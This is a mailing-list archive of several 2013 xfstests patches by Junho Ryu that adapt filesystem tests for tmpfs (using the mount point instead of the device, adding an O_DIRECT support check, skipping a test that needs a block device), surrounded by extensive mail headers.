for ; Tue, 17 Dec 2013 16:18:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EA05D8F8078 for ; Tue, 17 Dec 2013 14:18:56 -0800 (PST) X-ASG-Debug-ID: 1387318735-04cb6c537c7ec9e0001-NocioJ Received: from mail-yh0-f74.google.com (mail-yh0-f74.google.com [209.85.213.74]) by cuda.sgi.com with ESMTP id BhUyCagpWE8U2Dvz (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:56 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.213.74 X-Barracuda-IPDD: Level1 [google.com/209.85.213.74] Received: by mail-yh0-f74.google.com with SMTP id a41so667102yho.5 for ; Tue, 17 Dec 2013 14:18:55 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.213.74] X-Barracuda-IPDD: Level1 [google.com/209.85.213.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=ba99eqMq8DELcxib2zAqHItcCFNX9BIJEs4bo7Azx2s=; b=c7zwqb72NESukcFAjuUfp8xj2NBPZWShPPmC1Mk/WfAeEtXJdrxE0oxBxcZo10O3hy X+Ax/OTwjNdWDrIjUn2WKTUlV9MK48RMP93NxjTp6wg4bHUM5Zd57Ijn2AUJv5J2ViCF Q14Hj2RG4JRoic4ARKmF5kEnCW5b8//TaDfaY3Uhs5yii6noJzz9rmv4I9aC6w5kug3B Th6SWimWdeGG4kBOwy/Fq8oNUHMbk2o9JJPplfpp/asjhnGOvfRDp4NOjnMLM/43D+Gj 7EfMyR0n51MKCMPaW00GU8dh7IgjzZPPynsmRams5VzYy5zCT+/QpjmY4KmCSUYb7wux f7OA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=ba99eqMq8DELcxib2zAqHItcCFNX9BIJEs4bo7Azx2s=; b=P57eeBj4L8mP/dNpRrUsUmWtygfDudK9brDxXAZ1qHviMPXyzgE6cPMtrnbal19yE7 VIjGsQrbN1v2odd4qplebcrTGBRnEObfMkPNQm6ie1IMja3wP2/GJGwHArZ+2mGspefo hv1se1NStoVWtAN+2pIVuw9SpURZ8shV0v5tWfYNTVMbdO8s1OOYFCKZQYS9761u+NYU FpqVKbm+l+GBRqv0GHKOERyR8m8Vj7XgqX82iXIQ3/PrNpfX9WKzoEuq+nR8mPMyKHj8 y4O+TJgBp0i2ezcGEHWaoc9wpVjHwItquszc685wQj3aoLns+ikMkte7s5dKITJHqFdu hSIg== X-Gm-Message-State: ALoCoQmfQsX8nM5aI5Lqv9twyfTIM7U0HchrqsbOmQ/KYAQIh2r8F+xB69VEmkG/I2vNEd+Qg+2LviSYJ8rfJlHBgRf1H40s9BAoA0cMnpXVDamyJxhusx4CkzuGIeS5mlZ8hrOYhddEQMde2faFUgVM4/nuIAeEe3KsStmpjy06QqaJa8CdmS7wq3zqymlFy1nz710+900D X-Received: by 10.236.17.161 with SMTP id j21mr1359684yhj.55.1387318735775; Tue, 17 Dec 2013 14:18:55 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id l41si4867297yhi.5.2013.12.17.14.18.55 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:55 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 39A8C31C204; Tue, 17 Dec 2013 14:18:55 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 06/12] xfstests: fix generic/127 to call _cleanup() only once Date: Tue, 17 Dec 2013 14:18:36 -0800 X-ASG-Orig-Subj: [PATCH v2 06/12] xfstests: fix generic/127 to call _cleanup() only once Message-Id: <1387318722-3050-6-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-yh0-f74.google.com[209.85.213.74] X-Barracuda-Start-Time: 1387318736 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143181 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature The test is already trap-ing signal 0 (EXIT). umount prints error message when target tmpfs is already unmounted. Signed-off-by: Junho Ryu --- v2: same as v1 tests/generic/127 | 1 - 1 file changed, 1 deletion(-) diff --git a/tests/generic/127 b/tests/generic/127 index 58ca91e..47bd1ca 100755 --- a/tests/generic/127 +++ b/tests/generic/127 @@ -117,5 +117,4 @@ _fsx_std_nommap _fsx_std_mmap status=0 -_cleanup exit -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:18:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B391D29DF8 for ; Tue, 17 Dec 2013 16:18:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8E9FB304059 for ; Tue, 17 Dec 2013 14:18:54 -0800 (PST) X-ASG-Debug-ID: 1387318733-04cb6c537d7ec9d0001-NocioJ Received: from mail-pa0-f74.google.com (mail-pa0-f74.google.com [209.85.220.74]) by cuda.sgi.com with ESMTP id kO9bfAa0cAXbW4Th (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:53 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.220.74 X-Barracuda-IPDD: Level1 [google.com/209.85.220.74] Received: by mail-pa0-f74.google.com with SMTP id fa1so595027pad.3 for ; Tue, 17 Dec 2013 14:18:52 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.220.74] X-Barracuda-IPDD: Level1 [google.com/209.85.220.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=BM/QNQsPjjmd53HqwKhuLQ/Abvcy0GucW/LZ4vT2ljA=; b=ILdvTzkJCqQcHlMdMCbW3yXG74+X8Z5ecpnw+0/FQYKqc7V0hnAwEZIpOJCWKGt3GI PgkBtlYS/v2y5N+Ud/o05yYj+IHHMLLaDX3rN/nyJnpGPdpKOJwWd2s7loE9uzEXGBul Gb16suHoDgJLkj7uZ3Ydt5EbG20RAyBirdWyv1QnnYWA3WcthnVuvTYod0iF03XvAS+p kkdrMQK6OXFBTH9ScuRY5DwSuovjIuov5OfIY2cWWNS3aE0zoVG+yV15rcW7I2AoC311 495u8s2Q/SljUvk6ELYUBv27LklQ5Ll9HOvY+qQlTzSsbV3vystwl2Uhz3VLUDT8/TSv bTYw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id; bh=BM/QNQsPjjmd53HqwKhuLQ/Abvcy0GucW/LZ4vT2ljA=; b=KmL/suVozJOOrvrbtrsDkDZhmwlE2+bQf4t9Io3r69T+4zOfkBWaC/OelKcu6dAhD6 VoOWNzFdbdjDcaa6ho32Ep6pkMf4NPvZ6yQ447dL5NdoEmfg1B7pNL1BwA7ubDaoNza4 bDj8qpgsvQsUs5HLqU9INaK5OdNG0GluSflvyexavazhnXsIU7Au5rR0XbwLxFjjHPaU pOqA4gdQDOnV6m7bw4hrbo90eolBv9tf0bLHXXDmdo82iNQT2/UjfkN0TBPb6WLabTLh lzxNAc236zR+QunJQZP6v8vhiAKL0QcQX07ABNnD68xmnYW5h6sBdGPbs7iYsE91D9Mh xumw== X-Gm-Message-State: ALoCoQmtgGdd7P0RU1EKd6QdpGldP4vIJrlz8/fIeiENgZvFY9jN0fcho10D+QxMepGmS5C0s4Vfcl8/53Tj7mY4RGQcdpmahbn4WCgL/VowakiBHfICfEG0+lKMnoX6Nwwt+S7sF8wbMxRxDndnL5OmttzgmSgHY7wpbtew6BpoOaQQ/iQ4ZHuMvSe7R3AY2eqRle9GsIeL X-Received: by 10.66.189.163 with SMTP id gj3mr12554145pac.32.1387318732752; Tue, 17 Dec 2013 14:18:52 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id k45si4868004yhn.4.2013.12.17.14.18.52 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:52 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 2A3F031C09A; Tue, 17 Dec 2013 14:18:52 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 01/12] xfstests: use mount point instead of device name Date: Tue, 17 Dec 2013 14:18:31 -0800 X-ASG-Orig-Subj: [PATCH v2 01/12] xfstests: use mount point instead of device name Message-Id: <1387318722-3050-1-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 X-Barracuda-Connect: mail-pa0-f74.google.com[209.85.220.74] X-Barracuda-Start-Time: 1387318733 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143181 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Hugh Dickins A tmpfs mount does not involve any block device, its $SCRATCH_DEV is nothing but a place-holder, so apply 'df' or 'stat' to its mount point $SCRATCH_MNT instead of to $SCRATCH_DEV. It also fixes a bug in generic/256: "stat -f $SCRATCH_DEV" returning the block size of the root file system, but not the test file system. $ df | grep sda /dev/sda1 233191 62959 157791 29% /boot $ sudo dumpe2fs -h /dev/sda1 | grep "Block size" Block size: 1024 $ stat -f /dev/sda1 | grep "Block size" Block size: 4096 Fundamental block size: 4096 $ stat -f /boot | grep "Block size" Block size: 1024 Fundamental block size: 1024 Signed-off-by: Hugh Dickins Signed-off-by: Theodore Ts'o Signed-off-by: Junho Ryu --- v2: same as v1 tests/generic/256 | 2 +- tests/generic/273 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/generic/256 b/tests/generic/256 index cfe7237..c6c8f2f 100755 --- a/tests/generic/256 +++ b/tests/generic/256 @@ -170,7 +170,7 @@ _scratch_mount # Test must be able to write files with non-root permissions chmod 777 $SCRATCH_MNT -block_size=`stat -f $SCRATCH_DEV | grep "Block size" | cut -d " " -f3` +block_size=`stat -f $SCRATCH_MNT | grep "Block size" | cut -d " " -f3` _test_full_fs_punch $(( $block_size * 2 )) $block_size 500 $SCRATCH_MNT/252.$$ $block_size status=0 ; exit diff --git a/tests/generic/273 b/tests/generic/273 index 8e121a2..dc87a92 100755 --- a/tests/generic/273 +++ b/tests/generic/273 @@ -68,7 +68,7 @@ _file_create() cd $SCRATCH_MNT/origin - _disksize=`$DF_PROG --block-size=1 $SCRATCH_DEV | tail -1 | awk '{ print $5 }'` + _disksize=`$DF_PROG --block-size=1 $SCRATCH_MNT | tail -1 | awk '{ print $5 }'` _disksize=$(($_disksize / 3)) _num=$(($_disksize / $count / $threads / 4096)) _count=$count -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:18:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E12A629E22 for ; Tue, 17 Dec 2013 16:18:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A42F68F8071 for ; Tue, 17 Dec 2013 14:18:58 -0800 (PST) X-ASG-Debug-ID: 1387318736-04bdf00fdfc87e0001-NocioJ Received: from mail-ve0-f202.google.com (mail-ve0-f202.google.com [209.85.128.202]) by cuda.sgi.com with ESMTP id TmH41dbaxYM4FG1T (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:57 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.128.202 X-Barracuda-IPDD: Level1 [google.com/209.85.128.202] Received: by mail-ve0-f202.google.com with SMTP id oz11so697313veb.5 for ; Tue, 17 Dec 2013 14:18:56 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.128.202] X-Barracuda-IPDD: Level1 [google.com/209.85.128.202] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=srITAdijdymRB1hIy0yLZyGKTwEZMmvqqGvmfV7VCSk=; b=Kdf6dcr+pMdzSJzmuDTfbR0+KirCgam9JPcxsVn5yvHsfp59mmij6Wn9dkTRlI3lYt mFo+IU8xpw4WliZqQEaUAia40AcuhJqqOND1RJGeumwDCO2OYtznKL0fT1Zhc/jcw3n8 HdpY5KDIzkn0Yc26WqidfDl91Pel0hKpOTwKurIYlFJQIiR0PzacxelkuQKYsQat1vTd wP5Zk9NwBC8PZoyz5oVJivvm1tQEGv/WDJ3NFKJcDhE1obZaAwJTLTwi8oNlZx/lnfaZ xKPG2V6BKrCltQ+rYWqwPH8mh8wM8LW7CFze9HSdxtzl2RbdyfNKx9ZJfWjYXzHiibZR 7qMQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=srITAdijdymRB1hIy0yLZyGKTwEZMmvqqGvmfV7VCSk=; b=cLLZ16J4FpMJdyk8JPJT0FV/yz0S2s9mBgXlkMvfq7aRpCO+ixVNdXYMyQ9SFcniBe gTLHW8DJTjt5CC7BP7PH7X7ClqhkQGYANj6ak9DZbkWyoISs+bhzcO4hwplzQFAe6/++ +17v4MpZbEJlq9HjakEwFhMQf/opWlzX5EkP2X1dBJClDCPoE1yjkdl564Jtq1H7siDo L74/IsGc0G5N6ELB0JUkSbVRIAXsoeg33yw27KmYFpBeM7srJP+iRxNQ2d3CnxCYlZNa nfkKXOC929TaNjujxBDgum6Fb+1vB2jmYIrTEzoSNUOCxI2KPAL9C3u9OH5bNcH78Qsm V5PA== X-Gm-Message-State: ALoCoQnWPrMmcN6FBpGwKIViLkahlMde8wq3ARp3E4YpG4HASkelFMtHqMyQgYj6moFeA1RH44y/Y2MmA6Rr5weGZpQ9Q+4Cs9jeM9+RwrcxE9gUzrvo/LIQowhbqmbmcBYlMq7zO0QVSdxNDUbPNOIiY7aKq58UP42rOSKQiT1uv83YXSk9XvKc0pV+fFUvGdRz5i4fcOpo X-Received: by 10.58.136.6 with SMTP id pw6mr9311087veb.32.1387318736540; Tue, 17 Dec 2013 14:18:56 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id j47si3758331yhm.7.2013.12.17.14.18.56 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:56 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id D05F031C204; Tue, 17 Dec 2013 14:18:55 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 07/12] xfstests: check O_DIRECT support before testing direct I/O Date: Tue, 17 Dec 2013 14:18:37 -0800 X-ASG-Orig-Subj: [PATCH v2 07/12] xfstests: check O_DIRECT support before testing direct I/O Message-Id: <1387318722-3050-7-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ve0-f202.google.com[209.85.128.202] X-Barracuda-Start-Time: 1387318737 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143180 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Some filesystems do not support O_DIRECT. Check whether TEST_DIR supports it by running xfs_io with and without -d flag. Signed-off-by: Junho Ryu --- v2: renamed _require_xfs_io_direct to _require_odirect common/rc | 15 +++++++++++++++ tests/generic/091 | 1 + tests/generic/130 | 1 + tests/generic/133 | 1 + tests/generic/135 | 1 + tests/generic/226 | 1 + tests/generic/263 | 1 + tests/generic/299 | 1 + tests/generic/300 | 1 + 9 files changed, 23 insertions(+) diff --git a/common/rc b/common/rc index 1db313b..9e0e727 100644 --- a/common/rc +++ b/common/rc @@ -1155,6 +1155,7 @@ _require_aiodio() AIO_TEST=src/aio-dio-regress/$1 [ -x $AIO_TEST ] || _notrun "$AIO_TEST not built" fi + _require_odirect } # run an aio-dio program @@ -1293,6 +1294,20 @@ _require_fiemap() _notrun "xfs_io fiemap command failed (no fs support?)" } +# check that kernel and filesystem support direct I/O +_require_odirect() +{ + testfile=$TEST_DIR/$$.direct + $XFS_IO_PROG -F -f -c "pwrite 0 20k" $testfile 2>&1 + if [ $? -eq 0 ]; then + $XFS_IO_PROG -F -f -d -c "pwrite 0 20k" $testfile 2>&1 + if [ $? -ne 0 ]; then + _notrun "O_DIRECT is not supported" + fi + fi + rm -f $testfile 2>&1 > /dev/null +} + # Check that a fs has enough free space (in 1024b blocks) # _require_fs_space() diff --git a/tests/generic/091 b/tests/generic/091 index bb176f1..bb5c92c 100755 --- a/tests/generic/091 +++ b/tests/generic/091 @@ -38,6 +38,7 @@ trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 # real QA test starts here _supported_fs generic _supported_os Linux +_require_odirect rm -f $seqres.full diff --git a/tests/generic/130 b/tests/generic/130 index 8367dc7..1e96630 100755 --- a/tests/generic/130 +++ b/tests/generic/130 @@ -50,6 +50,7 @@ _supported_os Linux IRIX _require_scratch _require_sparse_files +_require_odirect _scratch_mkfs >/dev/null 2>&1 _scratch_mount diff --git a/tests/generic/133 b/tests/generic/133 index 7fb1695..8af4dde 100755 --- a/tests/generic/133 +++ b/tests/generic/133 @@ -38,6 +38,7 @@ trap "exit \$status" 0 1 2 3 15 # real QA test starts here _supported_fs generic _supported_os Linux IRIX +_require_odirect echo "Buffered writer, buffered reader" $XFS_IO_PROG -f -d -c 'pwrite -b 64k 0 512m' $TEST_DIR/io_test > /dev/null diff --git a/tests/generic/135 b/tests/generic/135 index e3b827a..79558f5 100755 --- a/tests/generic/135 +++ b/tests/generic/135 @@ -39,6 +39,7 @@ trap "exit \$status" 0 1 2 3 15 _supported_fs generic _supported_os Linux IRIX +_require_odirect _require_scratch _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/generic/226 b/tests/generic/226 index b98e889..4ad56a5 100755 --- a/tests/generic/226 +++ b/tests/generic/226 @@ -37,6 +37,7 @@ trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 _supported_fs generic _supported_os Linux IRIX _require_scratch +_require_odirect # real QA test starts here rm -f $seqres.full diff --git a/tests/generic/263 b/tests/generic/263 index bc59865..f639215 100755 --- a/tests/generic/263 +++ b/tests/generic/263 @@ -38,6 +38,7 @@ trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 # real QA test starts here _supported_fs generic _supported_os Linux +_require_odirect rm -f $seqres.full diff --git a/tests/generic/299 b/tests/generic/299 index 14cce96..c674542 100755 --- a/tests/generic/299 +++ b/tests/generic/299 @@ -43,6 +43,7 @@ _supported_fs generic _supported_os Linux _need_to_be_root _require_scratch +_require_odirect NUM_JOBS=$((4*LOAD_FACTOR)) BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` diff --git a/tests/generic/300 b/tests/generic/300 index 7c60728..9231cb7 100755 --- a/tests/generic/300 +++ b/tests/generic/300 @@ -43,6 +43,7 @@ _supported_fs generic _supported_os Linux _need_to_be_root _require_scratch +_require_odirect NUM_JOBS=$((4*LOAD_FACTOR)) BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:18:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B22F829E22 for ; Tue, 17 Dec 2013 16:18:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 72F90304064 for ; Tue, 17 Dec 2013 14:18:59 -0800 (PST) X-ASG-Debug-ID: 1387318737-04bdf00fe2c87f0001-NocioJ Received: from mail-vc0-f202.google.com (mail-vc0-f202.google.com [209.85.220.202]) by cuda.sgi.com with ESMTP id VxC7HIQ9FNtnahp3 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:58 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.220.202 X-Barracuda-IPDD: Level1 [google.com/209.85.220.202] Received: by mail-vc0-f202.google.com with SMTP id id10so697234vcb.3 for ; Tue, 17 Dec 2013 14:18:57 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.220.202] X-Barracuda-IPDD: Level1 [google.com/209.85.220.202] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=EhCCni0Oka4cdOekOV3gcwVQ0u23G0hTg/1qMfneu04=; b=GhTpnjBFQbzhP1UVrjYS5NrmgO7bbAx9MTNWV8QNjOXQINE7JnT60UZ7exV0Zd9yU0 R9oTAB3fdruE1dh9mnq4Si4kMQr9wutoQridkRP5BdMmdKD1Nmqy8sIuUZss2Uf5a/JA 6MHXeWRCV2nIs8aDPBI3iZZg/5/9BxWwtxJugx/ZiWjdhpzvRqT/8PTgFrBU23uVQ+Q8 9ubcB3Fdb/aga1Zwh/TcOz2LR5AlRImWmZSj31iWPPvRm5aM4QfIp6iDyl+ZFP/hSTzn LDvznkrk+EsKh0eCDwZAmwo4PEbRVEB9MT+8dE0m7hGUXigfAhL/94yUNGtvZhzwXIMc BtJw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=EhCCni0Oka4cdOekOV3gcwVQ0u23G0hTg/1qMfneu04=; b=cocOmzDsRPsaAV2dQGCZcsOk58NSWp4hGd269o6uKlCfwWr6P+RZz6CYWUYbuUlhPB oT26bHB7bcEH1eSU/qPADJzVtW41XPy6+ObitwxHBxFTeRoaOaoPYAIe9ci39WRaCZvA nneF6oCXfpolA6kieghAJqhXGdw84VcOiIREu12JbAbf6KYyODRvj+TKI17wKg4uUHB3 AI8ZI89DkPEQGy8+IIf+u9J++GpJjGFPwL4dbz+0ym4ZqX2kqH+4o6P8uo4ge1BoGp7J bqqCXQcZh8wlrqeOqwWZBgVFe/Ce2zNuLLXHGu9PHYBgZFo+SPEN0VqfhCqBkJxccjQ2 XqOw== X-Gm-Message-State: ALoCoQn5ELjRVvpJcz9nIIJ9hPmxzaOV4GXJHMOZEiSotE8RUiu/yzNJ057rphGN58RPVSXDVo/Y8TJvVnml1B0ALEoAGrhmVNv6GLD6j2jQG0cfCmiKPlwd0OgaMzMzEl3CQv4I4eQitdPvKqTO26D64pXpenzDocfQJ0SSNCJTmxUEJeCRQpqGwRVQRGHX1fPJQgGI5fQX X-Received: by 10.236.147.241 with SMTP id t77mr1427416yhj.51.1387318737699; Tue, 17 Dec 2013 14:18:57 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id l41si4867338yhi.5.2013.12.17.14.18.57 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:57 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 2377131C204; Tue, 17 Dec 2013 14:18:57 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 09/12] xfstests: skip generic/076 which cannot work on tmpfs Date: Tue, 17 Dec 2013 14:18:39 -0800 X-ASG-Orig-Subj: [PATCH v2 09/12] xfstests: skip generic/076 which cannot work on tmpfs Message-Id: <1387318722-3050-9-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-vc0-f202.google.com[209.85.220.202] X-Barracuda-Start-Time: 1387318738 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143180 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Skip generic/076 which tests concurrent access while testing tmpfs because there are other tests cover the case using fsstress. Signed-off-by: Hugh Dickins Signed-off-by: Theodore Ts'o Signed-off-by: Junho Ryu --- v2: check whether SCRATCH_DEV is a block device instead of checking whether FSTYP is tmpfs. tests/generic/076 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/generic/076 b/tests/generic/076 index a53840f..7ab2fbc 100755 --- a/tests/generic/076 +++ b/tests/generic/076 @@ -57,6 +57,8 @@ _supported_os IRIX Linux _require_scratch +[ -d "$SCRATCH_DEV" ] || _notrun "this test requires block device" + echo "*** init fs" rm -f $seqres.full -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:19:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 